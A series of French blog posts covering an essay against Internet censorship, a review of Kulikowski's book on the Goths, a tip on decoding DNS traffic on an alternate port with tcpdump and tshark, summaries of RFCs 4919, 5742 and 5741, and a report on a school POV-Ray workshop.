« I worry about my child and the Internet all the time, even though she's too young to have logged on yet. Here's what I worry about. I worry that 10 or 15 years from now, she will come to me and say 'Daddy, where were you when they took freedom of the press away from the Internet?' » - Mike Godwin, Electronic Frontier Foundation.

Toutes les lois ne visent pas qu'à permettre à la police de tout contrôler et d'arrêter ce qui lui déplait. Certains ont aussi pour but de continuer à assurer aux amis du Fouquet's une rente de situation, comme la récente Hadopi. L'industrie du divertissement est mal à l'aise devant les évolutions techniques ? Faisons des lois pour elle, pour lui accorder des privilèges exorbitants, pour lui permettre de ne pas avoir à changer et subventionnons la, pendant qu'on y est. Ainsi, on trouvera quelques vieilles gloires, rebaptisées « artistes », pour soutenir publiquement Sarkozy. Autrefois, les artistes signaient des pétitions contre Pinochet ou pour défendre les pandas, maintenant, ils ne parlent dans les médias que pour défendre leur gagne-pain. Triste fin de race.

Dans un « État de droit », il n'y a pas que les lois qui façonnent ce qu'on peut faire et ne pas faire. Il y a aussi les décisions du patronat. Sans que des lois ne l'ai imposé, beaucoup de décisions prises par certains patrons d'opérateurs techniques ont sérieusement érodé les libertés dont on dispose sur Internet. Par exemple, on met des conditions d'utilisation ultra-restrictives (pas de VoIP, pas de pair-à-pair), comme c'est presque toujours le cas pour les accès Internet par mobiles et on filtre. (Sans compter que les terminaux mobiles comme l'ultra-fermé iPhone sont en général les plus contrôlés par les constructeurs, qui ne laissent tourner dessus que les applications qu'ils approuvent.) D'autre part, plusieurs FAI déploient des serveurs DNS menteurs pour amener l'utilisateur sur des pages de publicité à chaque faute de frappe. Enfin, d'autres font de la DPI pour regarder ce que font leurs utilisateurs et les bloquer ou les ralentir à volonté. À chaque fois, la même volonté : ramener l'Internet, fou, incontrôlable, libre, au niveau d'un Minitel 2.0.

Contre cette censure et ces filtrages, on peut déployer des moyens techniques. Ils abondent et on trouve sans peine d'innombrables documentations sur leur installation et configuration (tiens, même moi en ai fait une). De même, une technique comme DNSSEC, pourra permettre de détecter les DNS menteurs, ou bien le filtrage obligatoire de la Loppsi. En raison de ce grand'nombre de techniques disponibles, il est courant de lire que « on ne peut pas censurer l'Internet ». Et certains vont jusqu'à faire des contournements techniques une base pour un quasi-parti politique, ce qui me semble une mauvaise idée.

Les réactions techniques sont utiles, ne serait-ce que parce qu'elles gardent en vie une zone de liberté temporaire (pour parler comme Hakim Bey). Mais elles ont leurs limites, la principale étant qu'elles sont souvent réservées, en pratiques, à une minorité de geeks qui ont les compétences, et surtout le temps libre, pour les déployer. On ne peut pas se satisfaire d'une course aux armements entre pouvoirs en place d'une part, et geeks ravis de jouer aux pirates, course qui rendrait l'architecture de l'Internet encore plus compliquée et fragile, et qui laisserait sur le carreau les utilisateurs ordinaires, qui ont pourtant droit, eux aussi, à ces libertés.

Il faut donc aussi une action politique, qui vise à rétablir et garantir la liberté pour tous. Plusieurs partis, pourtant dans l'opposition, sont paralysés par la peur d'être classée comme « faible face aux pédophiles » ou « ruinant l'industrie du divertissement ». Par exemple, le Parti Socialiste est divisé sur la question (un de ses ténors, Jack Lang, a toujours soutenu cette industrie). Voici donc une liste partielle de prises de positions :

Si vous connaissez des prises de position claires d'autres partis politiques, n'hésitez pas à me les signaler, je les ajouterai. On peut trouver une bonne synthèse dans le questionnaire qui avait été envoyé aux candidats en 2007.

Sur le même sujet des soi-disant « dangers de l'Internet », je recommande l'excellent article de Serge Soudoplatoff.

Pour terminer, je recommande la tirade du pirate M. de Cigognac dans le remarquable tome 9 de l'excellente série « De cape et de crocs ». « Nous ne sortons pas de la cuisse de Jupiter mais des tripes de Neptune ! ... »

Sinon, un excellent article sur cette question est celui de Serge Soudoplatoff.


L'article seul

Fiche de lecture : Rome et les Goths - IIIème-Vème siècle

Auteur(s) du livre : Michael Kulikowski
Éditeur : Autrement
978-2-7467-1261-4
Publié en 2009
Première rédaction de cet article le 10 janvier 2010


Qui étaient les Goths ? Si tout le monde a une idée, peut-être plus souvent nourrie de l'album Astérix chez les Goths que d'études historiques poussées, il faut bien dire qu'on n'en sait pas assez. Presque tous les textes ont été écrits par des non-goths, parfois des siècles après les faits, et la rigueur scientifique n'est pas toujours au rendez-vous.

Michael Kulikowski a écrit un livre passionnant sur la question (que j'ai lu dans son excellente traduction française). Il décrit notamment les difficultés méthodologiques, qui ne sont pas évidentes pour le profane, et qui sont ici très bien exposées. En gros, l'historien utilise surtout des sources écrites qui sont loin d'être toujours objectives (imaginez une histoire de la « découverte » de l'Amérique » qui aurait été écrite par les amérindiens...). Et l'archéologue a à sa disposition un très grand nombre d'objets, mais qu'il est difficile de relier à un peuple donné. Si on découvre une villa romaine complète, luxueusement aménagée, à plus de 300 kilomètres de la frontière de l'Empire, signifie t-elle que les romains sont allés plus loin qu'eux-même ne le disent, ou bien qu'un noble goth, après avoir servi dans l'armée romaine, est rentré chez lui et a fait construire une maison selon les critères de qualité et de succès qu'il avait appris chez les romains ? D'une manière générale, la diffusion d'une culture, attestée par l'archéologie (rites funéraires, styles des armes, qualité des poteries), indique t-elle la migration d'un peuple, ou bien la diffusion des idées ? Ce débat existe depuis les débuts de l'histoire.

La thèse la plus répandue sur l'origine des Goths, et qui a reçu un vaste soutien dans les pays de langue allemande (et qui a été exploitée par les nazis, qui cherchaient un peuple germanique originel) est que les Goths sont arrivés des bords de la Baltique, du nord de l'Allemagne, voire de Scandinavie, ont migré vers le Sud avant de se heurter aux romains quelque part du côté du Danube. (Le récit le plus connu de cette migration est dû à Jordanès.)

Mais on a très peu de traces objectives de cette migration. Les Goths semblent plutôt être apparus dans le Sud, probablement en lien avec les sites archéologiques de la culture de Santana de Mures - Tchernjakov.

La thèse principale de l'auteur, en résumé, est que le « peuple » Goth, la civilisation Goth, est entièrement née du contact avec l'Empire. Il n'y a pas eu de peuple goth déjà constitué qui est venu s'installer près des romains mais un ensemble disparate de barbares vivant près des frontières de l'Empire et qui, au contact (militaire, mais aussi économique et culturel) de celui-ci, a créé un nouveau peuple, que les romains ont baptisé « Goths ». La « grande migration » des Goths n'aurait donc jamais existé.


L'article seul

Décoder des paquets comme étant du DNS s'ils sont sur un port alternatif

Première rédaction de cet article le 8 janvier 2010


Lorsqu'on écrit une mise en œuvre d'un protocole réseau, même en lisant soigneusement la norme (par exemple le RFC correspondant), on fait des erreurs. Les outils de capture et d'analyse des paquets comme tcpdump ou Wireshark sont donc d'une aide inestimable. Mais ces outils décodent les protocoles en fonction du port utilisé. Et si on utilise un port alternatif ?

Par exemple, soit un nouveau serveur DNS qu'on développe. Pour quelle raison utiliserait-on, pendant le développement, un autre port que le standard 53 ? Parfois parce qu'il y a déjà un serveur de noms qui tourne sur cette machine et qu'on ne veut pas le perturber. Parfois parce qu'écouter sur le port 53, sur Unix, nécessite d'être root. Bref, on utilise souvent un port comme 8053 pour les tests. dig peut l'utiliser sans problème :

% dig @::1 -p 8053 ANY www.foobar.example
...
;; Query time: 0 msec
;; SERVER: ::1#8053(::1)

mais tcpdump (ici avec -vvv) n'affiche alors rien d'utilisable :

11:47:39.875198 IP6 (hlim 64, next-header UDP (17) payload length: 48) ::1.60056 > ::1.8053: UDP, length 40
11:47:39.875959 IP6 (hlim 64, next-header UDP (17) payload length: 37) ::1.8053 > ::1.60056: [udp sum ok] UDP, length 29

alors qu'il sait décoder le DNS, s'il utilise le port 53 et affiche le type de données demandé, le nom demandé, le code de la réponse en clair, etc :

11:45:31.584798 IP6 (hlim 64, next-header UDP (17) payload length: 37) ::1.38957 > ::1.53: [udp sum ok] 48154+ AAAA? twitter.com. (29)
11:45:31.585036 IP6 (hlim 64, next-header UDP (17) payload length: 37) ::1.53 > ::1.38957: [udp sum ok] 48154 NXDomain- q: AAAA? twitter.com. 0/0/0 (29)

tcpdump dispose d'une option -T qui permet de forcer le décodage selon un protocole particulier, mais la liste de protocoles possible est très courte et n'incluait pas, jusqu'à très récemment, le DNS. Si vous voulez utiliser -T domain, il faut au moins la version 4.99, sortie fin décembre 2020, merci à Camille pour l'avoir noté. (Autrement, les pros peuvent éditer le source puisque tcpdump est libre. tcpdump.c et print-udp.c, merci à Kim Minh Kaplan pour ses suggestions.)

Et avec tshark (la version texte de Wireshark) ? Par défaut, on a le même problème :

  0.000000          ::1 -> ::1          UDP Source port: 34801  Destination port: 8053
  0.000224          ::1 -> ::1          UDP Source port: 8053  Destination port: 34801

mais, avec l'option -d, on peut forcer le décodage avec un protocole donné, choisi dans une très longue liste :

% tshark [...] -d udp.port==8053,dns
...
  0.000000          ::1 -> ::1          DNS Standard query AAAA twitter.com
  0.000229          ::1 -> ::1          DNS Standard query response, No such name

(Ne vous inquiétez pas pour Twitter, le serveur utilisé est un serveur de test qui répond toujours NXDOMAIN.)

Bref, avec tshark, on peut déboguer des mises en œuvre d'un protocole quel que soit le port utilisé.

Une intéressante discussion sur ce sujet a eu lieu sur ServerFault.


L'article seul

RFC 4919: IPv6 over Low-Power Wireless Personal Area Networks (6LoWPANs): Overview, Assumptions, Problem Statement, and Goals

Date de publication du RFC : Août 2007
Auteur(s) du RFC : N. Kushalnagar (Intel), G. Montenegro (Microsoft), C. Schumacher (Danfoss)
Pour information
Réalisé dans le cadre du groupe de travail IETF 6lowpan
Première rédaction de cet article le 8 janvier 2010


La norme IEEE 802.15.4 standardise un protocole de communication radio conçu pour des équipements légers, ayant peu de ressources (que ce soit des ressources de calcul ou bien en électricité). Le groupe de travail 6lowpan de l'IETF travaille à adapter IP à ces objets légers et à ce protocole radio. La réussite de 6lowpan permettrait le développement d'un véritable Internet des objets, connectant des engins qui ne sont en général pas classés parmi les ordinateurs.

Qu'est-ce qu'un « Low-Power Wireless Personal Area Networks » (LowPAN) ? Comme résumé par la section 1 du RFC, c'est un réseau de machines communiquant sans fil, à faible distance, avec IEEE 802.15.4. Et ces machines ont presque toujours peu de puissance électrique, un coût faible (donc peu de mémoire et peu de CPU) et le réseau ne va pas vite. Typiquement, les membres d'un « LowPAN » sont des capteurs et autres dispositifs de surveillance et de détection. Quel protocole de couche 3 (et au-dessus) faire tourner sur 802.15.4 ? Il existe un protocole privé, qui bénéficie d'un marketing virulent, Zigbee. Il est donc stratégiquement important qu'il soit remplacé par un protocole ouvert, c'est le but du groupe de travail 6lowpan. Ce RFC 4919 en est le premier document, qui décrit le problème à résoudre, en partant de l'hypothèse que les LowPAN utiliseront IPv6 (d'où le chiffre six au début du nom du groupe). Le second RFC publié a été le RFC 4944, contenant les détails pratiques d'utilisation d'IP sur 802.15.4.

La section 2 reprend l'ensemble des caractéristiques d'un LowPAN et permet d'imaginer les problèmes qu'elles peuvent poser à un déploiement d'IP traditionnel. Entre autres :

  • paquets de petite taille, le maximum de 802.15.4 étant de 127 octets. Avec les différents en-têtes obligatoires (notamment de chiffrement), il n'y a parfois plus que 81 octets libres pour IP.
  • Les adresses des machines d'un LowPAN peuvent être des adresses IEEE de 64 bits mais aussi des adresses abrégées de seulement 16 bits.
  • Capacité très faible : à 868 Mhz (une des fréquences normalisées), il n'y a que 20 kb/s.
  • Les machines d'un LowPAN peuvent s'organiser en étoile ou bien dans un réseau maillé.
  • Grand nombre de machines connectées, bien plus élevé que le nombre d'ordinateurs.
  • Machines peu fiables, souvent en panne, déplacées, à la batterie qui se vide...
  • Connectivité d'une machine souvent interrompue par ses périodes de sommeil (pour économiser le courant).

On le voit, ces caractéristiques sont très différentes de celles des Vax sur lesquels avait été programmée l'implémentation de TCP/IP à Berkeley !

Dans ce cadre, plutôt difficile, sur quoi peut compter le concepteur de protocoles pour 6lowpan ? La section 3 liste ces suppositions de base, sachant que certaines pourront évoluer dans le temps (après tout, la loi de Moore s'applique ici aussi et peut améliorer la situation) :

  • Il y aura une séparation entre les machines les plus « bêtes » (RFD, Reduced Function Devices) et des machines plus évoluées (FFD, Full Function Devices), qui pourront prendre à leur charge certaines des activités, notamment de coordination.
  • Le réseau devra utiliser IP, système déjà déployé, connu, et pour lequel il existe d'innombrables applications et plein d'outils de gestion du réseau.
  • Contrairement aux concurrents comme Zigbee, IP est ouvert, et accessible à tous. Il n'enferme pas chez un vendeur ou un cartel de vendeurs.
  • Le fait d'utiliser IP permet des interconnexions relativement faciles avec le reste de l'Internet.

Mais il y a aussi des problèmes concrets à résoudre, qui font l'objet de la section 4.

  • Vu le nombre d'objets attendus dans un LowPAN, il faut disposer de beaucoup d'adresses, ce qui impose IPv6, avec son immense espace d'adressage.
  • Comme il n'est pas question de gérer tous ces objets à la main, il faut un système d'auto-configuration. Là encore, IPv6 a tout ce qu'il faut.
  • La faible capacité du lien va nécessiter la compression des en-têtes (curieusement, ROHCRFC 5795 - n'est pas cité).
  • Le protocole de routage (section 4.2) devra à la fois gérer des topologies variées et ne pas être trop bavard, pour économiser la capacité du réseau. Il devra également tenir compte de l'exigence d'économie d'énergie (les protocoles existants ont été conçus pour des systèmes très différents de ceux d'un LowPAN).
  • Les équipements du LowPAN doivent autant que possible se configurer tout seuls : en effet, ils seront très nombreux (trop pour être configurés à la main un par un), avec des moyens d'entrée/sortie très limités, et souvent planqués dans des endroits difficiles d'accès.
  • Ce genre d'exigences ne va pas en général dans le sens de la sécurité. 802.15.4 impose un chiffrement (avec AES) mais ne dit rien de la gestion des clés (comment communiquer les clés à l'objet ?), de la sécurité dans les couches hautes. La section 4.4 insiste donc sur l'importance de développer des mécanismes de sécurité (voir aussi la section 6).

Bref, il va y avoir du travail. La section 5 donne les buts à atteindre :

  • Comme IP impose une taille minimale de paquets à sa couche 2, que cette taille est de 1280 octets en IPv6 (section 5 du RFC 2460), bien au delà des 81 octets libres, dans le pire cas, avec 802.15.4, il va falloir développer un mécanisme de fragmentation et réassemblage au niveau 2.
  • Comme l'en-tête IPv6 fait au minimum 40 octets, que l'en-tête TCP atteint 20 octets, il ne resterait que 21 octets pour les données ! Il est donc impératif de spécifier un mécanisme de compression des en-têtes.
  • Pour l'auto-configuration IPv6, il faut définir une correspondance entre les adresses IEEE 802.15.4 et les identificateurs d'interface utilisés par IP. Ces deux premiers points ont été traités dans le RFC 4944.
  • Un protocole de routage pour le réseau maillé doit être créé. Il existe des expériences diverses (RFC 3561, RFC 3626, RFC 3684), mais souvent pour des réseaux avec moins de contraintes que les LowPAN. (Voir un autre travail sur ce sujet dans le RFC 5826.)
  • Une des raisons de l'utilisation d'IP est la disponibilité de nombreux protocoles et outils, par exemple SNMP pour la gestion. Mais un agent SNMP est un logiciel complexe, peut-être trop pour l'objet LowPAN typique. Peut-être faudra t-il créer un profil simplifié de SNMP.
  • Même au niveau application, certains ajustements seront peut-être nécessaires. Par exemple, une usine à gaz comme SOAP est sans doute trop consommatrice de ressources. (À noter qu'il existe déjà une liste de diffusion sur les problèmes spécifiques aux applications, 6lowapp, qui évoluera peut-être en un groupe de travail.)

Où en sont les mises en œuvre de 6LowPAN ? Un exemple avec le source disponible est apparemment celle de NXP, JenNet-IP.


Téléchargez le RFC 4919


L'article seul

Étude sur le multilinguisme sur l'Internet au FDI

Première rédaction de cet article le 7 janvier 2010


Cette étude très détaillée couvre de nombreux sujets comme la création terminologique (qui suit actuellement un processus très fermé, pas du tout 2.0 et que le Forum recommande d'ouvrir), les IDN (dont le Forum souhaite la possibilité dans .fr), la traduction automatique (à utiliser avec la plus grande prudence), la gestion de sites Web multilingues (merci à Christian Perrier, de Debian, pour son aide, d'ailleurs, lors de la présentation de l'excellent http://www.debian.org/).

Je triche un peu, j'ai participé à sa rédaction donc prenez ma recommandation avec des pincettes. Et bien des mercis à Thibault Grouas qui a brillamment animé un groupe qui travaillait sur un sujet sensible.


L'article seul

The Internet as hyperbole; A critical examination of adoption rates

Première rédaction de cet article le 6 janvier 2010


Personne ne vérifie jamais les affirmations factuelles qu'on trouve dans les médias, on les répète et elles finissent pas être admises. Lorsqu'on vérifie, on voit souvent que c'était n'importe quoi. Ainsi, Gisle Hannemyr, dans un article de 2003, « The Internet as hyperbole; A critical examination of adoption rates » (d'abord publié dans The Information Society, 19:2, p. 111-121, April-June 2003), revient sur l'affirmation fréquente « It took 38 years for radio to attract 50 million listeners. 13 years for television to attract 50 million viewers. In just 4 years the Internet has attracted 50 million surfers! ».

C'est un excellent article. L'auteur prend une affirmation répetée en boucle dans beaucoup de médias et de rapports et cherche sa véracité (nulle), son origine et la façon dont elle s'est propagée.

Comme toujours avec les medias traditionnels, l'information n'était pas sourcée et a été reprise de manière a-critique par plein de gens.

Une des difficultes à établir sa véracité est que, comme toujours, tout depend de ce qu'on mesure. Ainsi, quand fixer les débuts de l'Internet ? L'invention de la commutation de paquets par Paul Baran en 1964 ? Les débuts de l'Arpanet en 1969 ? Le lancement de TCP/IP en 1983 ? La création des premiers FAI grand public aux États-Unis en 1989 (date choisie par Hannemyr) ?

La plupart des ignorants qui répètent comme des moutons l'affirmation initiale n'expliquent pas la méthodologie utilisée et leur affirmation n'est donc « même pas fausse ». Avec les hypothèses choisies et expliquées par Hannemyr, seul le téléphone a un démarrage très lent, les autres technologies (l'Internet parmi elles) démarrant bien plus vite.

Et pourquoi ces hyperboles ? L'auteur cite plusieurs hypothèses mais en oublie une : les articles « hyperboliques » ne mesurent pas la croissance réelle de l'Internet mais celle de ses mentions dans les médias. La croissance de celles-ci a en effet été beaucoup plus spectaculaire que celle des utilisateurs réels. En 1989, l'Internet avait déjà des centaines de milliers d'utilisateurs quotidiens ! Mais, comme aucun article de journal n'en avait parlé, il n'existait pas pour les professionnels de la communication.


L'article seul

Atelier scientifique en quatrième : informatique

Première rédaction de cet article le 5 janvier 2010
Dernière mise à jour le 14 juillet 2010


J'ai participé, comme « tuteur » à un « atelier scientifique » dans une classe de quatrième au Collège Modigliani. Le thème est l'informatique et le sujet « Faire des images de synthèse avec un langage ».

Le but de cet atelier est de faire réaliser un travail par les élèves de quatrième. Quelques indications sont données mais ils doivent, avec l'aide et la supervision du tuteur, chercher par eux-même des informations, accomplir des « manips », et réaliser un exposé. Je ne sais pas pour eux mais, moi, j'étais content de retourner à l'école.

J'avais proposé deux sujets en informatique, « Faire des images de synthèse avec un langage » (qui a été choisi par les élèves) et « Où se trouve ce site Web dans le monde physique ? ». À noter qu'il y avait d'autres sujets sur d'autres sciences, et que l'informatique, que je pensais à la mode, n'a pas enthousiasmé beaucoup d'élèves, peut-être parce que l'équipe avait bien insisté sur le fait que ce serait moins ludique que de jouer à GTA. Pour chaque sujet, il fallait s'assurer qu'il existe suffisamment de documentations en ligne et que les logiciels soient libres (ou, à la rigueur, gratuits), tournant sur Unix et Windows, et installables sur tout ordinateur (tous les élèves n'ont pas une machine de course). Voici les textes d'accroche qu'avaient eu les élèves :

  • « Faire des images de synthèse avec un langage » : Certains logiciels permettent d'accomplir des actions en indiquant avec la souris un objet. Cette technique ne permet que des actions prévues à l'avance. Au contraire, un langage permet de décrire des actions entièrement nouvelles. Les langages sont donc plus riches que le simple fait de « montrer du doigt ». Si apprendre un vrai langage de programmation est un objectif trop ambitieux pour cet atelier, en revanche, il est possible d'apprendre un langage de description de scènes comme POV-Ray, qui permet d'indiquer un ensemble d'objets graphiques, dont l'image sera ensuite produite par le logiciel. Cette technique de description de scènes est surtout utile pour faire produire des images automatiquement, par un programme. POV-Ray est un des programmes de production d'images de synthèse les plus populaires, maintenu par une communauté active et enthousiaste. Je n'ai pas d'expérience professionnelle dans ce domaine (contrairement au second sujet).
  • « Où se trouve ce site Web dans le monde physique ? » : Sur l'Internet, tout semble virtuel. Sur son écran, on regarde un site Web situé en Chine ou au Brésil comme s'il était à quelques mètres, et avec des temps de réponse quasiment identiques. Mais, en fait, les serveurs Web ne sont pas virtuels du tout. Ce sont de grosses machines, consommant beaucoup d'électricité et situées à un endroit bien précis. La nature ouverte de l'Internet fait qu'on peut facilement savoir où est cet endroit. Il existe des outils logiciels qui permettent d'afficher la liste des sites physiques traversés pour atteindre une machine donnée. Utiliser ces outils permet de mieux comprendre comment fonctionne l'Internet, et qui le fait marcher. (Je sais que les lecteurs de ce blog savent comment faire mais c'est pour des enfants de treize ans.)

Pour « Faire des images de synthèse avec un langage », le but pédagogique est une introduction aux langages informatiques qui soit plus simple que les langages de programmation mais plus gratifiante que le HTML. POV fait aussi faire de la géométrie, puisqu'il faut comprendre axe, coordonnées, etc. Voir un témoignage d'enseignant de troisième qui utilise ce logiciel.

Naturellement, le tuteur a préparé des ressources, des documentations (en français : c'était une des difficultés du cahier des charges), etc. Mais je ne les ai pas indiquées tout de suite ici, les élèves savent utiliser un moteur de recherche et pourraient trouver cette page :-)

La première scène utilisée en exemple était :


#include "colors.inc"
#include "shapes.inc"
#include "textures.inc"

camera {
   location <-6, 1, -3>
   look_at <2, 1, 0.5>
}
 
sphere {
   <0, 1, 2>, 2
   texture {
      pigment {color Yellow}
      finish {phong 1}
   }
}
 
light_source {<-3, -4, 3> color White}

Et le résultat est : first-example-pov.png Évidemment, la première image sérieuse, comme toujours en images de synthèse, aurait dû être une théière mais, à ce stade, nous sommes restés modestes. (Merci à Jean-Philippe Pick pour son érudition sur les théières.)

Quelques autres informations sur POV-Ray : il n'est pas complètement libre mais presque. On le trouve sur Ubuntu mais, pour Debian, il faut prendre la section non-free. Sinon, il est téléchargeable en http://www.povray.org/download/.

Le but de l'atelier est de décrire les scènes POV-Ray à la main. Mais, sinon, il existe des modeleurs sur Unix (kpovmodeler - a graphical editor for povray scenes) ou bien Moray, un « shareware ». Inkscape peut produire du POV.

Il existe beaucoup de documentations sur POV en français, pour tous les niveaux :

Pour « Où se trouve ce site Web dans le monde physique ? », qui n'a pas été retenu par les élèves, le but pédagogique était d'avoir une attitude moins « consommation » vis-à-bis d'Internet, comprendre son insertion dans le monde physique, faire de la géographie (codes aéroport, qui servent à nommer les routeurs, pays bien connectés et les autres), comprendre les enjeux économiques et financiers derrière (accords de « peering », géographie de la fracture numérique).

Pour revenir à POV-Ray, j'avais envisagé de faire réaliser aux élèves, à la fin, un « chef d'œuvre » sous forme d'une scène POV-ray utilisant des techniques proches de la programmation (comme des paramètres, ou des objets réutilisables). Voici un exemple d'un source POV-Ray pour une telle scène et son rendu. Beaucoup trop ambitieux, le projet a été abandonné.

Quelques leçons que j'ai tiré de cette expérience :

  • Nous avons appris des choses comme le fait que POV a un fond de lumière ambiant, découvert en oubliant accidentellement light_source. Vive la sérendipité !
  • L'une des premières images réellement créées était une répétition de sphères légèrement décalées : toutes avaient été faites à la main, l'élève ne sachant pas programmer.
  • On apprenait aussi des choses en physique (réflexion, transparence) que les élèves ne voient normalement qu'à la fin de l'année.
  • Pour l'apprentissage de la programmation (même si ce n'était pas le sujet de l'atelier), POV est très prometteur mais nous n'avons pas eu le temps d'exploiter ces promesses.

Mais il y a eu des problèmes plutôt gênants :

  • Le travail en équipe, qui n'est jamais une chose facile. Une tentative (sans suite) a été faite d'utiliser un système de forum en ligne pour la communication. Les élèves utilisaient surtout MSN entre eux et le courrier avec moi. Globalement, je trouve qu'il y a eu peu de communication, par exemple les problèmes ou difficultés étaient toujours signalés trop tard. Il était difficile d'obtenir des informations d'étape. À noter que ce n'est pas spécifique au collège, le monde professionnel offre également de nombreux exemples de telles difficultés.
  • La tendance à préférer des documents copiés/collés plutôt qu'à en créer. Cela était vrai aussi bien pour les textes (une recherche « phrase » - en mettant des guillemets - dans Google permettait de retrouver les originaux) mais c'était surtout gênant pour les images. Un exemple typique était la tendance des élèves à préférer, pour les compte-rendus et exposés, l'utilisation d'images récupérées sur le réseau plutôt que d'images faites par eux-mêmes avec POV-ray (alors que ce groupe avait justement l'intérêt de reposer sur de vrais travaux pratiques).
  • Comme souvent avec les travaux pratiques d'informatique, les problèmes pratiques sont nombreux. On est loin de la soi-disant informatique conviviale et intuitive ! Avec Hotmail, service utilisé par la plupart des élèves, ce fut une catastrophe, notamment pour les images jointes, dont on avait absolument besoin, mais qui sont souvent avalées, ou entrainent le blocage complet du message. Même chose avec Windows (système utilisé par tous les élèves) qui plante quand il ne faut pas (et les élèves ont du mal à donner une description détaillée et factuelle du problème, problème qui existe aussi dans le monde professionnel). Les PC/Windows du collège, qui n'ont pas tous le même comportement, ont également été une grande source de frustration.
  • Contrairement à ce qu'on lit souvent, les élèves ne sont pas forcément très à l'aise avec l'informatique, notamment lorsque les choses vont mal (cf. l'excellent article La génération « post-micro »). Consommer est une chose, créer (ce que font par exemple les auteurs de jeux vidéo, les cinéastes ou les programmeurs) est bien plus complexe. Même chose pour la différence entre bavarder (lorsque le fait de communiquer compte davantage que le contenu de la communication) et échanger dans le cadre d'un travail d'équipe, avec des résultats à atteindre.

Finalement, le bilan est mitigé : le concept n'a pas été reconduit sous cette forme, le bilan officiel note que les élèves de quatrième n'ont pas forcément la maturité nécessaire pour un travail en autonomie (de mon expérience professionnelle, je peux dire qu'un certain nombre d'adultes sont dans le même cas). L'année suivante, les cours prendront une forme plus classique. Dommage, mais ça pourra recommencer autrement, peut-être en troisième.


L'article seul

RFC 5742: IESG procedures for handling of independent and IRTF stream submissions

Date de publication du RFC : Décembre 2009
Auteur(s) du RFC : H. Alvestrand (Google), R. Housley (Vigil Security)
Première rédaction de cet article le 5 janvier 2010


Les RFC les plus connus sont ceux produits directement par l'IETF. Ils subissent alors tous un examen par l'IESG, garante de leur qualité et de leur cohérence. On l'ignore souvent mais ce n'est pas le cas de tous les RFC. Certains peuvent être soumis directement au RFC editor (Independent stream), d'autres soumis par d'autres organisations (comme l'IRTF). Que doit faire l'IESG avec eux ?

Le RFC 3932 répondait à cette question. Depuis le RFC 4844, qui formalise les différentes voies (streams) de soumission d'un RFC, il fallait le mettre à jour, ce qui a pris beaucoup de temps, entrainant le blocage d'un grand nombre de RFC indépendants, techniquement au point mais ne pouvant pas être publiés car on ignorait comment les gérer administrativement.

Deux des quatre voies sont traitées dans notre RFC 5742 : celle de l'IRTF et la voie indépendante, celle des documents soumis par des individus. Lorsqu'un document n'est pas passé par l'IETF, il n'a pas forcément été examiné sur les points où le protocole décrit peut causer des problèmes : sécurité, contrôle de congestion, mauvaise interaction avec les protocoles existants (section 1). L'IETF n'assume donc aucune responsabilité pour ces RFC indépendants.

Par contre, ils étaient traditionnellement (RFC 2026, section 4.2.3, puis RFC 3710) examinés par l'IESG. C'était un véritable examen, avec discussion des points techniques avec les auteurs, aller-retour, et discussions qui prenaient des ressources à l'IESG et retardaient sérieusement la publication du RFC. L'IESG avait décidé en mars 2004 de passer à une procédure plus légère (RFC 3932) où l'IESG vérifiait surtout qu'il n'y avait pas de conflit avec un travail en cours à l'IETF. Les commentaires de fond étaient envoyés au RFC editor qui les traitait comme n'importe quel autre commentaire. Quant aux documents de l'IRTF, ils étaient traités, soit comme venant de l'IAB, soit comme soumissions individuelles (ils ont maintenant leur propre voie, décrite dans le RFC 5743).

Notre RFC 5742 décrit la procédure qui est désormais suivie lorsque le RFC editor ou l'IRTF demande un examen plus complet à l'IESG (voir aussi le RFC 4846, qui détaille la voie indépendante).

Quels sont les changements par rapport au RFC 3932 ? La section 1.1 les résume :

  • Nouvel en-tête pour les RFC, indiquant explicitement la voie empruntée (RFC 5741, depuis remplacé par le RFC 7841),
  • Mécanisme de résolution de conflits si l'IESG demande l'ajout d'une note au RFC et que cette note soulève des objections. L'insertion de cette note était obligatoire auparavant (RFC 3932, section 4).

Les détails de l'examen par l'IESG sont désormais dans la section 3. Après étude du document, l'IESG peut décider, au choix :

  • Qu'il n'y a pas de conflit entre ce document et le travail de l'IETF,
  • Qu'il y a une relation avec le travail d'un groupe de l'IETF, sans que cela empêche la publication du document,
  • Qu'il y a risque de gêne du travail d'un groupe et que le document ne devrait pas être publié dans l'immédiat,
  • Que le document empiète sur un travail réservé à l'IETF (par exemple l'ajout d'un élément à un protocole lorsque la norme de ce protocole prescrit une procédure particulière pour de tels ajouts).

Des exemples concrets de conflits sont fournis dans la section 5. Par exemple, la publication d'un protocole « alternatif » (Photuris, RFC 2522) à celui de l'IETF (IKE, RFC 2409) devrait attendre pour laisser le protocole « officiel » être publié en premier. De tels protocoles alternatifs ne posent pas de problème en soi, le choix est une bonne chose, mais il est important qu'ils soient clairement différenciés du protocole de l'IETF. Un autre exemple est la réutilisation de bits « libres » dans un en-tête de paquet lorsque ces bits ont une autre signification dans la norme.

Et si les auteurs ou le RFC editor sont en désaccord avec la conclusion de l'IESG ? C'est la grande nouveauté de notre RFC 5742, une procédure de résolution des conflits, qui fait l'objet de la section 4. Même l'IETF, suivant la judiciarisation croissante de la société, a ses Dispute Resolution Procedures. En quoi consiste t-elle ici ? Dans l'introduction d'une tierce partie, l'IAB, qui sera chargée d'arbitrer tout conflit entre l'IESG et le RFC Editor, si les six semaines de dialogue obligatoire n'ont pas résolu le problème. L'IAB pourra donner raison à l'un ou l'autre et pourra donc, par exemple, imposer au RFC editor l'inclusion d'une note de l'IESG qu'il ne voulait pas.


Téléchargez le RFC 5742


L'article seul

RFC 5741: On RFC Streams, Headers and Boilerplates

Date de publication du RFC : Décembre 2009
Auteur(s) du RFC : L. Daigle, O. Kolkman
Pour information
Première rédaction de cet article le 5 janvier 2010


Les textes sacrés de l'Internet, les RFC, comprennent un certain nombre d'éléments obligatoires, souvent collectivement appelés boilerplates et comprenant, par exemple, les conditions légales d'utilisation du RFC. Ce RFC 5741 écrit par l'IAB les décrit et les précise. Il a depuis été remplacé par le RFC 7841.

Les éléments existants comme Category: Experimental ne suffisaient pas à transporter toute l'information nécessaire. Depuis la formalisation des voies dans le RFC 4844, les différents circuits de publication des RFC, il était devenu crucial de déterminer facilement de quelle voie venait un RFC. (Les anciens RFC étaient tous marqués comme provenant d'un mystérieux Network Working Group, cf. RFC 3.)

